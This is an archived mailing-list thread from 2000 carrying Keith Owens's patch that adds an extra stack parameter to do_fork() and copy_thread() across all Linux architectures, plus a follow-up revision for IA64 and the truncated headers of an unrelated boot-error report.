From: Keith Owens <kaos@ocs.com.au>
To: linux-arm-kernel@lists.arm.linux.org.uk,
linux-m68k@lists.linux-m68k.org,linux-mac68k@mac.linux-m68k.org,
linuxppc-dev@lists.linuxppc.org,linux-mips@fnet.fr,
sparclinux@vger.kernel.org,ultralinux@vger.kernel.org,
linux-alpha@vger.kernel.org,linux-kernel@vger.kernel.org,
linux-ia64@linuxia64.org,linux-vm@vm.marist.edu, gniibe@chroot.org,
kkojima@rr.iij4u.or.jp

This patch hits every arch so it is being cross mailed to every arch
mailing list, apologies for duplicates.  Please trim replies to the
relevant mailing list.  Also please cc: kaos@ocs.com.au on replies, I
am not on every list.

IA64 needs an extra parameter on do_fork() and copy_thread(), those
functions are globally defined but arch local so there are changes to
every architecture.  For everything except IA64, the extra parameter is
unused and is specified as 0.  Sparc assembler changes by DaveM, blame
me for everything else.  If nobody complains, this patch against
2.4.0-test8-pre1 will go to Linus on Monday evening GMT.

Index: 0-test8-pre1.1/kernel/fork.c
--- 0-test8-pre1.1/kernel/fork.c Tue, 29 Aug 2000 15:22:12 +1100 kaos
(linux-2.4/j/35_fork.c 1.1.1.9.1.6 644)
+++ 0-test8-pre1.1(w)/kernel/fork.c Sat, 02 Sep 2000 11:34:02 +1100 kaos
(linux-2.4/j/35_fork.c 1.1.1.9.1.6 644)
@@ -528,10 +528,15 @@
 
 /*
  *  Ok, this is the main fork-routine. It copies the system process
- * information (task[nr]) and sets up the necessary registers. It
- * also copies the data segment in its entirety.
+ * information (task[nr]) and sets up the necessary registers. It also
+ * copies the data segment in its entirety.  The "stack_start" and
+ * "stack_top" arguments are simply passed along to the platform
+ * specific copy_thread() routine.  Most platforms ignore stack_top.
+ * For an example that's using stack_top, see
+ * arch/ia64/kernel/process.c.
  */
-int do_fork(unsigned long clone_flags, unsigned long usp, struct
pt_regs *regs)
+int do_fork(unsigned long clone_flags, unsigned long stack_start,
unsigned long stack_top,
+	    struct pt_regs *regs)
 {
 	int retval = -ENOMEM;
 	struct task_struct *p;
@@ -628,7 +633,7 @@
 		goto bad_fork_cleanup_fs;
 	if (copy_mm(clone_flags, p))
 		goto bad_fork_cleanup_sighand;
-	retval = copy_thread(0, clone_flags, usp, p, regs);
+	retval = copy_thread(0, clone_flags, stack_start, stack_top, p, regs);
 	if (retval)
 		goto bad_fork_cleanup_sighand;
 	p->semundo = NULL;
Index: 0-test8-pre1.1/include/linux/sched.h
--- 0-test8-pre1.1/include/linux/sched.h Tue, 29 Aug 2000 15:22:12 +1100
kaos (linux-2.4/Z/49_sched.h 1.1.1.7.1.3 644)
+++ 0-test8-pre1.1(w)/include/linux/sched.h Sat, 02 Sep 2000 11:45:41
+1100 kaos (linux-2.4/Z/49_sched.h 1.1.1.7.1.3 644)
@@ -708,7 +708,7 @@
 extern int expand_fdset(struct files_struct *, int nr);
 extern void free_fdset(fd_set *, int);
 
-extern int  copy_thread(int, unsigned long, unsigned long, struct
task_struct *, struct pt_regs *);
+extern int  copy_thread(int, unsigned long, unsigned long, unsigned
long, struct task_struct *, struct pt_regs *);
 extern void flush_thread(void);
 extern void exit_thread(void);
 
@@ -719,7 +719,7 @@
 extern void daemonize(void);
 
 extern int do_execve(char *, char **, char **, struct pt_regs *);
-extern int do_fork(unsigned long, unsigned long, struct pt_regs *);
+extern int do_fork(unsigned long, unsigned long, unsigned long, struct
pt_regs *);
 
 extern void FASTCALL(add_wait_queue(wait_queue_head_t *q, wait_queue_t
* wait));
 extern void FASTCALL(add_wait_queue_exclusive(wait_queue_head_t *q,
wait_queue_t * wait));
Index: 0-test8-pre1.1/arch/s390/kernel/smp.c
--- 0-test8-pre1.1/arch/s390/kernel/smp.c Tue, 11 Jul 2000 11:25:12
+1000 kaos (linux-2.4/Y/b/24_smp.c 1.2 644)
+++ 0-test8-pre1.1(w)/arch/s390/kernel/smp.c Sat, 02 Sep 2000 11:30:29
+1100 kaos (linux-2.4/Y/b/24_smp.c 1.2 644)
@@ -528,7 +528,7 @@
        /* don't care about the psw and regs settings since we'll never
           reschedule the forked task. */
        memset(&regs,sizeof(pt_regs),0);
-       return do_fork(CLONE_VM|CLONE_PID, 0, &regs);
+       return do_fork(CLONE_VM|CLONE_PID, 0, 0, &regs);
 }
 
 static void __init do_boot_cpu(int cpu)
Index: 0-test8-pre1.1/arch/s390/kernel/process.c
--- 0-test8-pre1.1/arch/s390/kernel/process.c Sat, 05 Aug 2000 13:33:35
+1000 kaos (linux-2.4/Y/b/35_process.c 1.2.1.1 644)
+++ 0-test8-pre1.1(w)/arch/s390/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/Y/b/35_process.c 1.2.1.1 644)
@@ -264,6 +264,7 @@
 }
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long
new_stackp,
+	unsigned long unused,
         struct task_struct * p, struct pt_regs * regs)
 {
         struct stack_frame
@@ -313,7 +314,7 @@
         int ret;
 
         lock_kernel();
-        ret = do_fork(SIGCHLD, regs.gprs[15], &regs);
+        ret = do_fork(SIGCHLD, regs.gprs[15], 0, &regs);
         unlock_kernel();
         return ret;
 }
@@ -329,7 +330,7 @@
         newsp = regs.gprs[2];
         if (!newsp)
                 newsp = regs.gprs[15];
-        ret = do_fork(clone_flags, newsp, &regs);
+        ret = do_fork(clone_flags, newsp, 0, &regs);
         unlock_kernel();
         return ret;
 }
@@ -347,7 +348,7 @@
 asmlinkage int sys_vfork(struct pt_regs regs)
 {
 	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD,
-                       regs.gprs[15], &regs);
+                       regs.gprs[15], 0, &regs);
 }
 
 /*
Index: 0-test8-pre1.1/arch/mips64/kernel/syscall.c
--- 0-test8-pre1.1/arch/mips64/kernel/syscall.c Tue, 01 Aug 2000
16:55:46 +1000 kaos (linux-2.4/a/c/16_syscall.c 1.1.1.4 644)
+++ 0-test8-pre1.1(w)/arch/mips64/kernel/syscall.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/a/c/16_syscall.c 1.1.1.4 644)
@@ -77,7 +77,7 @@
 	int res;
 
 	save_static(&regs);
-	res = do_fork(SIGCHLD, regs.regs[29], &regs);
+	res = do_fork(SIGCHLD, regs.regs[29], 0, &regs);
 	return res;
 }
 
@@ -92,7 +92,7 @@
 	newsp = regs.regs[5];
 	if (!newsp)
 		newsp = regs.regs[29];
-	res = do_fork(clone_flags, newsp, &regs);
+	res = do_fork(clone_flags, newsp, 0, &regs);
 	return res;
 }
 
Index: 0-test8-pre1.1/arch/mips64/kernel/process.c
--- 0-test8-pre1.1/arch/mips64/kernel/process.c Thu, 13 Jul 2000
18:35:31 +1000 kaos (linux-2.4/a/c/31_process.c 1.5 644)
+++ 0-test8-pre1.1(w)/arch/mips64/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/a/c/31_process.c 1.5 644)
@@ -69,6 +69,7 @@
 }
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long usp,
+		 unsigned long unused,
                  struct task_struct * p, struct pt_regs * regs)
 {
 	struct pt_regs * childregs;
Index: 0-test8-pre1.1/arch/sh/kernel/process.c
--- 0-test8-pre1.1/arch/sh/kernel/process.c Sat, 22 Jul 2000 18:25:55
+1000 kaos (linux-2.4/d/c/21_process.c 1.1.1.3 644)
+++ 0-test8-pre1.1(w)/arch/sh/kernel/process.c Sat, 02 Sep 2000 11:30:29
+1100 kaos (linux-2.4/d/c/21_process.c 1.1.1.3 644)
@@ -211,6 +211,7 @@
 asmlinkage void ret_from_fork(void);
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long usp,
+		unsigned long unused,
 		struct task_struct *p, struct pt_regs *regs)
 {
 	struct pt_regs *childregs;
@@ -292,7 +293,7 @@
 			unsigned long r6, unsigned long r7,
 			struct pt_regs regs)
 {
-	return do_fork(SIGCHLD, regs.regs[15], &regs);
+	return do_fork(SIGCHLD, regs.regs[15], 0, &regs);
 }
 
 asmlinkage int sys_clone(unsigned long clone_flags, unsigned long
newsp,
@@ -301,7 +302,7 @@
 {
 	if (!newsp)
 		newsp = regs.regs[15];
-	return do_fork(clone_flags, newsp, &regs);
+	return do_fork(clone_flags, newsp, 0, &regs);
 }
 
 /*
@@ -318,7 +319,7 @@
 			 unsigned long r6, unsigned long r7,
 			 struct pt_regs regs)
 {
-	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.regs[15],
&regs);
+	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.regs[15], 0,
&regs);
 }
 
 /*
Index: 0-test8-pre1.1/arch/arm/kernel/process.c
--- 0-test8-pre1.1/arch/arm/kernel/process.c Tue, 15 Aug 2000 17:59:12
+1000 kaos (linux-2.4/f/c/43_process.c 1.1.1.5 644)
+++ 0-test8-pre1.1(w)/arch/arm/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/f/c/43_process.c 1.1.1.5 644)
@@ -291,6 +291,7 @@
 }
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long esp,
+	unsigned long unused,
 	struct task_struct * p, struct pt_regs * regs)
 {
 	struct pt_regs * childregs;
Index: 0-test8-pre1.1/arch/arm/kernel/sys_arm.c
--- 0-test8-pre1.1/arch/arm/kernel/sys_arm.c Wed, 19 Jul 2000 17:53:13
+1000 kaos (linux-2.4/f/c/50_sys_arm.c 1.4 644)
+++ 0-test8-pre1.1(w)/arch/arm/kernel/sys_arm.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/f/c/50_sys_arm.c 1.4 644)
@@ -203,7 +203,7 @@
  */
 asmlinkage int sys_fork(struct pt_regs *regs)
 {
-	return do_fork(SIGCHLD, regs->ARM_sp, regs);
+	return do_fork(SIGCHLD, regs->ARM_sp, 0, regs);
 }
 
 /* Clone a task - this clones the calling program thread.
@@ -213,12 +213,12 @@
 {
 	if (!newsp)
 		newsp = regs->ARM_sp;
-	return do_fork(clone_flags, newsp, regs);
+	return do_fork(clone_flags, newsp, 0, regs);
 }
 
 asmlinkage int sys_vfork(struct pt_regs *regs)
 {
-	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs->ARM_sp, regs);
+	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs->ARM_sp, 0,
regs);
 }
 
 /* sys_execve() executes a new program.
Index: 0-test8-pre1.1/arch/sparc64/kernel/entry.S
--- 0-test8-pre1.1/arch/sparc64/kernel/entry.S Sat, 05 Aug 2000 13:33:35
+1000 kaos (linux-2.4/i/c/20_entry.S 1.1.1.3 644)
+++ 0-test8-pre1.1(w)/arch/sparc64/kernel/entry.S Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/i/c/20_entry.S 1.1.1.3 644)
@@ -911,7 +911,7 @@
 		mov		SIGCHLD, %o0
 sys_clone:	flushw
 		movrz		%o1, %fp, %o1
-		nop
+		mov		0, %o3
 		ba,pt		%xcc, do_fork
 		 add		%sp, STACK_BIAS + REGWIN_SZ, %o2
 ret_from_syscall:
Index: 0-test8-pre1.1/arch/sparc64/kernel/process.c
--- 0-test8-pre1.1/arch/sparc64/kernel/process.c Thu, 24 Aug 2000
03:13:10 +1000 kaos (linux-2.4/i/c/25_process.c 1.6 644)
+++ 0-test8-pre1.1(w)/arch/sparc64/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/i/c/25_process.c 1.6 644)
@@ -573,6 +573,7 @@
  *       do_fork().
  */
 int copy_thread(int nr, unsigned long clone_flags, unsigned long sp,
+		unsigned long unused,
 		struct task_struct *p, struct pt_regs *regs)
 {
 	struct thread_struct *t = &p->thread;
Index: 0-test8-pre1.1/arch/m68k/kernel/process.c
--- 0-test8-pre1.1/arch/m68k/kernel/process.c Tue, 11 Jul 2000 11:25:12
+1000 kaos (linux-2.4/l/c/42_process.c 1.2 644)
+++ 0-test8-pre1.1(w)/arch/m68k/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/l/c/42_process.c 1.2 644)
@@ -181,12 +181,12 @@
 
 asmlinkage int m68k_fork(struct pt_regs *regs)
 {
-	return do_fork(SIGCHLD, rdusp(), regs);
+	return do_fork(SIGCHLD, rdusp(), 0, regs);
 }
 
 asmlinkage int m68k_vfork(struct pt_regs *regs)
 {
-	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, rdusp(), regs);
+	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, rdusp(), 0, regs);
 }
 
 asmlinkage int m68k_clone(struct pt_regs *regs)
@@ -199,10 +199,11 @@
 	newsp = regs->d2;
 	if (!newsp)
 		newsp = rdusp();
-	return do_fork(clone_flags, newsp, regs);
+	return do_fork(clone_flags, newsp, 0, regs);
 }
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long usp,
+		 unsigned long unused,
 		 struct task_struct * p, struct pt_regs * regs)
 {
 	struct pt_regs * childregs;
Index: 0-test8-pre1.1/arch/ppc/kernel/smp.c
--- 0-test8-pre1.1/arch/ppc/kernel/smp.c Fri, 14 Jul 2000 19:35:46 +1000
kaos (linux-2.4/q/c/36_smp.c 1.1.1.3 644)
+++ 0-test8-pre1.1(w)/arch/ppc/kernel/smp.c Sat, 02 Sep 2000 11:30:29
+1100 kaos (linux-2.4/q/c/36_smp.c 1.1.1.3 644)
@@ -347,7 +347,7 @@
 		/* create a process for the processor */
 		/* we don't care about the values in regs since we'll
 		   never reschedule the forked task. */
-		if (do_fork(CLONE_VM|CLONE_PID, 0, &regs) < 0)
+		if (do_fork(CLONE_VM|CLONE_PID, 0, 0, &regs) < 0)
 			panic("failed fork for CPU %d", i);
 		p = init_task.prev_task;
 		if (!p)
Index: 0-test8-pre1.1/arch/ppc/kernel/process.c
--- 0-test8-pre1.1/arch/ppc/kernel/process.c Wed, 21 Jun 2000 12:24:29
+1000 kaos (linux-2.4/r/c/11_process.c 1.1.1.1 644)
+++ 0-test8-pre1.1(w)/arch/ppc/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/r/c/11_process.c 1.1.1.1 644)
@@ -315,6 +315,7 @@
  */
 int
 copy_thread(int nr, unsigned long clone_flags, unsigned long usp,
+	    unsigned long unused,
 	    struct task_struct * p, struct pt_regs * regs)
 {
 	unsigned long msr;
@@ -446,7 +447,7 @@
 	unsigned long clone_flags = p1;
 	int res;
 	lock_kernel();
-	res = do_fork(clone_flags, regs->gpr[1], regs);
+	res = do_fork(clone_flags, regs->gpr[1], 0, regs);
 #ifdef CONFIG_SMP
 	/* When we clone the idle task we keep the same pid but
 	 * the return value of 0 for both causes problems.
@@ -465,7 +466,7 @@
 
 	int res;
 	
-	res = do_fork(SIGCHLD, regs->gpr[1], regs);
+	res = do_fork(SIGCHLD, regs->gpr[1], 0, regs);
 #ifdef CONFIG_SMP
 	/* When we clone the idle task we keep the same pid but
 	 * the return value of 0 for both causes problems.
@@ -480,7 +481,7 @@
 asmlinkage int sys_vfork(int p1, int p2, int p3, int p4, int p5, int
p6,
 			 struct pt_regs *regs)
 {
-	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs->gpr[1], regs);
+	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs->gpr[1], 0,
regs);
 }
 
 asmlinkage int sys_execve(unsigned long a0, unsigned long a1, unsigned
long a2,
Index: 0-test8-pre1.1/arch/mips/kernel/syscall.c
--- 0-test8-pre1.1/arch/mips/kernel/syscall.c Tue, 11 Jul 2000 00:21:05
+1000 kaos (linux-2.4/u/c/17_syscall.c 1.3 644)
+++ 0-test8-pre1.1(w)/arch/mips/kernel/syscall.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/u/c/17_syscall.c 1.3 644)
@@ -97,7 +97,7 @@
 	int res;
 
 	save_static(&regs);
-	res = do_fork(SIGCHLD, regs.regs[29], &regs);
+	res = do_fork(SIGCHLD, regs.regs[29], 0, &regs);
 	return res;
 }
 
@@ -112,7 +112,7 @@
 	newsp = regs.regs[5];
 	if (!newsp)
 		newsp = regs.regs[29];
-	res = do_fork(clone_flags, newsp, &regs);
+	res = do_fork(clone_flags, newsp, 0, &regs);
 	return res;
 }
 
Index: 0-test8-pre1.1/arch/mips/kernel/process.c
--- 0-test8-pre1.1/arch/mips/kernel/process.c Tue, 11 Jul 2000 11:25:12
+1000 kaos (linux-2.4/u/c/26_process.c 1.2 644)
+++ 0-test8-pre1.1(w)/arch/mips/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/u/c/26_process.c 1.2 644)
@@ -72,6 +72,7 @@
 }
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long usp,
+		 unsigned long unused,
                  struct task_struct * p, struct pt_regs * regs)
 {
 	struct pt_regs * childregs;
Index: 0-test8-pre1.1/arch/sparc/kernel/process.c
--- 0-test8-pre1.1/arch/sparc/kernel/process.c Wed, 12 Jul 2000 11:58:08
+1000 kaos (linux-2.4/w/c/50_process.c 1.4 644)
+++ 0-test8-pre1.1(w)/arch/sparc/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/w/c/50_process.c 1.4 644)
@@ -462,6 +462,7 @@
 #endif
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long sp,
+		unsigned long unused,
 		struct task_struct *p, struct pt_regs *regs)
 {
 	struct pt_regs *childregs;
Index: 0-test8-pre1.1/arch/sparc/kernel/entry.S
--- 0-test8-pre1.1/arch/sparc/kernel/entry.S Wed, 21 Jun 2000 12:24:29
+1000 kaos (linux-2.4/x/c/6_entry.S 1.1.1.1 644)
+++ 0-test8-pre1.1(w)/arch/sparc/kernel/entry.S Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/x/c/6_entry.S 1.1.1.1 644)
@@ -1391,6 +1391,7 @@
 	mov	%fp, %o1			! arg1:	usp
 	std	%g4, [%curptr + AOFF_task_thread + AOFF_thread_fork_kpsr]
 	add	%sp, REGWIN_SZ, %o2		! arg2:	pt_regs ptr
+	mov	0, %o3
 	call	C_LABEL(do_fork)
 	 mov	%l5, %o7
 	
@@ -1413,6 +1414,7 @@
 1:
 	std	%g4, [%curptr + AOFF_task_thread + AOFF_thread_fork_kpsr]
 	add	%sp, REGWIN_SZ, %o2		! arg2:	pt_regs ptr
+	mov	0, %o3
 	call	C_LABEL(do_fork)
 	 mov	%l5, %o7
 
@@ -1430,6 +1432,7 @@
 	mov	%fp, %o1
 	or	%o0, %lo(0x4000 | 0x0100 | SIGCHLD), %o0
 	sethi	%hi(C_LABEL(do_fork)), %l1
+	mov	0, %o3
 	jmpl	%l1 + %lo(C_LABEL(do_fork)), %g0
 	 add	%sp, REGWIN_SZ, %o2
 
Index: 0-test8-pre1.1/arch/alpha/kernel/smp.c
--- 0-test8-pre1.1/arch/alpha/kernel/smp.c Sat, 05 Aug 2000 13:33:35
+1000 kaos (linux-2.4/y/c/9_smp.c 1.1.1.2.1.2 644)
+++ 0-test8-pre1.1(w)/arch/alpha/kernel/smp.c Sat, 02 Sep 2000 11:30:29
+1100 kaos (linux-2.4/y/c/9_smp.c 1.1.1.2.1.2 644)
@@ -420,7 +420,7 @@
 	 * don't care about the regs settings since
 	 * we'll never reschedule the forked task.
 	 */
-	return do_fork(CLONE_VM|CLONE_PID, 0, &regs);
+	return do_fork(CLONE_VM|CLONE_PID, 0, 0, &regs);
 }
 
 /*
Index: 0-test8-pre1.1/arch/alpha/kernel/process.c
--- 0-test8-pre1.1/arch/alpha/kernel/process.c Tue, 11 Jul 2000 11:25:12
+1000 kaos (linux-2.4/y/c/13_process.c 1.2 644)
+++ 0-test8-pre1.1(w)/arch/alpha/kernel/process.c Sat, 02 Sep 2000
11:30:29 +1100 kaos (linux-2.4/y/c/13_process.c 1.2 644)
@@ -276,14 +276,14 @@
 {
 	if (!usp)
 		usp = rdusp();
-	return do_fork(clone_flags, usp, (struct pt_regs *) (swstack+1));
+	return do_fork(clone_flags, usp, 0, (struct pt_regs *) (swstack+1));
 }
 
 int
 alpha_vfork(struct switch_stack * swstack)
 {
 	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, rdusp(),
-			(struct pt_regs *) (swstack+1));
+			0, (struct pt_regs *) (swstack+1));
 }
 
 /*
@@ -299,6 +299,7 @@
 
 int
 copy_thread(int nr, unsigned long clone_flags, unsigned long usp,
+	    unsigned long unused,
 	    struct task_struct * p, struct pt_regs * regs)
 {
 	extern void ret_from_sys_call(void);
Index: 0-test8-pre1.1/arch/i386/kernel/smpboot.c
--- 0-test8-pre1.1/arch/i386/kernel/smpboot.c Thu, 24 Aug 2000 03:13:10
+1000 kaos (linux-2.4/z/c/29_smpboot.c 1.1.1.2 644)
+++ 0-test8-pre1.1(w)/arch/i386/kernel/smpboot.c Sat, 02 Sep 2000
11:30:30 +1100 kaos (linux-2.4/z/c/29_smpboot.c 1.1.1.2 644)
@@ -497,7 +497,7 @@
 	 * don't care about the eip and regs settings since
 	 * we'll never reschedule the forked task.
 	 */
-	return do_fork(CLONE_VM|CLONE_PID, 0, &regs);
+	return do_fork(CLONE_VM|CLONE_PID, 0, 0, &regs);
 }
 
 #if APIC_DEBUG
Index: 0-test8-pre1.1/arch/i386/kernel/process.c
--- 0-test8-pre1.1/arch/i386/kernel/process.c Tue, 11 Jul 2000 11:25:12
+1000 kaos (linux-2.4/z/c/47_process.c 1.1.2.3.1.1.1.2 644)
+++ 0-test8-pre1.1(w)/arch/i386/kernel/process.c Sat, 02 Sep 2000
11:31:25 +1100 kaos (linux-2.4/z/c/47_process.c 1.1.2.3.1.1.1.2 644)
@@ -525,6 +525,7 @@
 	asm volatile("movl %%" #seg ",%0":"=m" (*(int *)&(value)))
 
 int copy_thread(int nr, unsigned long clone_flags, unsigned long esp,
+	unsigned long unused,
 	struct task_struct * p, struct pt_regs * regs)
 {
 	struct pt_regs * childregs;
@@ -686,7 +687,7 @@
 
 asmlinkage int sys_fork(struct pt_regs regs)
 {
-	return do_fork(SIGCHLD, regs.esp, &regs);
+	return do_fork(SIGCHLD, regs.esp, 0, &regs);
 }
 
 asmlinkage int sys_clone(struct pt_regs regs)
@@ -698,7 +699,7 @@
 	newsp = regs.ecx;
 	if (!newsp)
 		newsp = regs.esp;
-	return do_fork(clone_flags, newsp, &regs);
+	return do_fork(clone_flags, newsp, 0, &regs);
 }
 
 /*
@@ -713,7 +714,7 @@
  */
 asmlinkage int sys_vfork(struct pt_regs regs)
 {
-	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.esp, &regs);
+	return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.esp, 0, &regs);
 }
 
 /*


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: 2.4.0 do_fork() change, all architectures - take 2]
Date: Fri, 01 Sep 2000 21:28:08 -0500
Organization: @Home Network
Lines: 78
Approved: news@gmane.org
Message-ID: <39B065B8.90A2C038@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619105 3350 80.91.229.3 (22 Nov 2014 01:18:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mhudson@home.com  Fri Sep  1 20:23:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA17060
	for <parisc-linux@puffin.external.hp.com>; Fri, 1 Sep 2000 20:23:40 -0600
Original-Received: (qmail 7407 invoked by uid 15267); 2 Sep 2000 02:23:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7397 invoked from network); 2 Sep 2000 02:23:48 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 2 Sep 2000 02:23:48 -0000
Original-Received: from home.com ([24.3.245.88]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20000902022337.NEBU5134.mail.rdc1.ne.home.com@home.com>
          for <parisc-linux@thepuffingroup.com>;
          Fri, 1 Sep 2000 19:23:37 -0700
X-Mailer: Mozilla 4.61 [en]C-AtHome0407  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7878



-------- Original Message --------
Subject: 2.4.0 do_fork() change, all architectures - take 2
Resent-Date: Sat, 2 Sep 2000 04:19:10 +0200 (MET DST)
Resent-From: linux-m68k@phil.uni-sb.de
Date: Sat, 02 Sep 2000 13:18:46 +1100
From: Keith Owens <kaos@ocs3.ocs-net>
To: linux-m68k@phil.uni-sb.de

------- Blind-Carbon-Copy

X-Mailer: exmh version 2.1.1 10/15/1999
From: Keith Owens <kaos@ocs.com.au>
To: linux-kernel@vger.kernel.org
Subject: 2.4.0 do_fork() change, all architectures - take 2
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sat, 02 Sep 2000 13:18:46 +1100
Message-ID: <8893.967861126@ocs3.ocs-net>

DaveM pointed out that my 2.4.0-test8-pre1 do_fork patch would generate
better sparc assembler if the extra parameter to do_fork was added at
the end instead of in the middle.  So change all
do_fork(flags,sp,0,&regs)
to do_fork(flags,sp,&regs,0);

I'm not going to mail the complete patch again, you can get it from
ftp://ftp.ocs.com.au/pub/do_fork-2.4.0-test8-take2.gz.  The only
significant difference is this bit to IA64, untested.

Index: 0-test8-pre1.1/arch/ia64/kernel/entry.S
- --- 0-test8-pre1.1/arch/ia64/kernel/entry.S Tue, 15 Aug 2000 17:50:48
+1000 kaos (linux-2.4/c/c/16_entry.S 1.3.1.1.1.2 644)
+++ 0-test8-pre1.2(w)/arch/ia64/kernel/entry.S Sat, 02 Sep 2000 12:49:16
+1100 kaos (linux-2.4/c/c/16_entry.S 1.3.1.1.1.2 644)
@@ -68,8 +68,8 @@
 	mov loc1=r16				// save ar.pfs across do_fork
 	UNW(.body)
 	mov out1=in1
- -	mov out2=in2
- -	adds out3=IA64_SWITCH_STACK_SIZE+16,sp	// out3 = &regs
+	mov out3=in2
+	adds out2=IA64_SWITCH_STACK_SIZE+16,sp	// out2 = &regs
 	mov out0=in0				// out0 = clone_flags
 	br.call.sptk.few rp=do_fork
 .ret1:	UNW(.restore sp)
@@ -87,8 +87,8 @@
 	mov loc1=r16				// save ar.pfs across do_fork
 	UNW(.body)
 	mov out1=in1
- -	mov out2=0
- -	adds out3=IA64_SWITCH_STACK_SIZE+16,sp	// out3 = &regs
+	mov out3=0
+	adds out2=IA64_SWITCH_STACK_SIZE+16,sp	// out2 = &regs
 	mov out0=in0				// out0 = clone_flags
 	br.call.sptk.few rp=do_fork
 .ret2:	UNW(.restore sp)
Index: 0-test8-pre1.1/arch/ia64/ia32/ia32_entry.S
- --- 0-test8-pre1.1/arch/ia64/ia32/ia32_entry.S Tue, 15 Aug 2000
17:50:48 +1000 kaos (linux-2.4/c/c/25_ia32_entry 1.3.1.1 644)
+++ 0-test8-pre1.2(w)/arch/ia64/ia32/ia32_entry.S Sat, 02 Sep 2000
12:49:58 +1100 kaos (linux-2.4/c/c/25_ia32_entry 1.3.1.1 644)
@@ -91,8 +91,8 @@
 	UNW(.body)
 
 	mov out1=0
- -	mov out2=0
- -	adds out3=IA64_SWITCH_STACK_SIZE+16,sp
+	mov out3=0
+	adds out2=IA64_SWITCH_STACK_SIZE+16,sp	// out2 = &regs
 	br.call.sptk.few rp=do_fork
 .ret3:	mov ar.pfs=loc1
 	UNW(.restore sp)


------- End of Blind-Carbon-Copy


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot error on C200+
Date: Sat, 02 Sep 2000 16:41:46 -0600
Lines: 76
Approved: news@gmane.org
Message-ID: <39B1822A.4E8F20AB@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619106 3351 80.91.229.3 (22 Nov 2014 01:18:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rbradetich@uswest.net  Sat Sep  2 16:41:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA03259
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Sep 2000 16:41:39 -0600
Original-Received: (qmail 24076 invoked by uid 15267); 2 Sep 2000 22:41:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24065 invoked from network); 2 Sep 2000 22:41:48 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 2 Sep 2000 22:41:48 -0000
Original-Received: (qmail 76825 invoked by alias); 2 Sep 2000 22:41:47 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
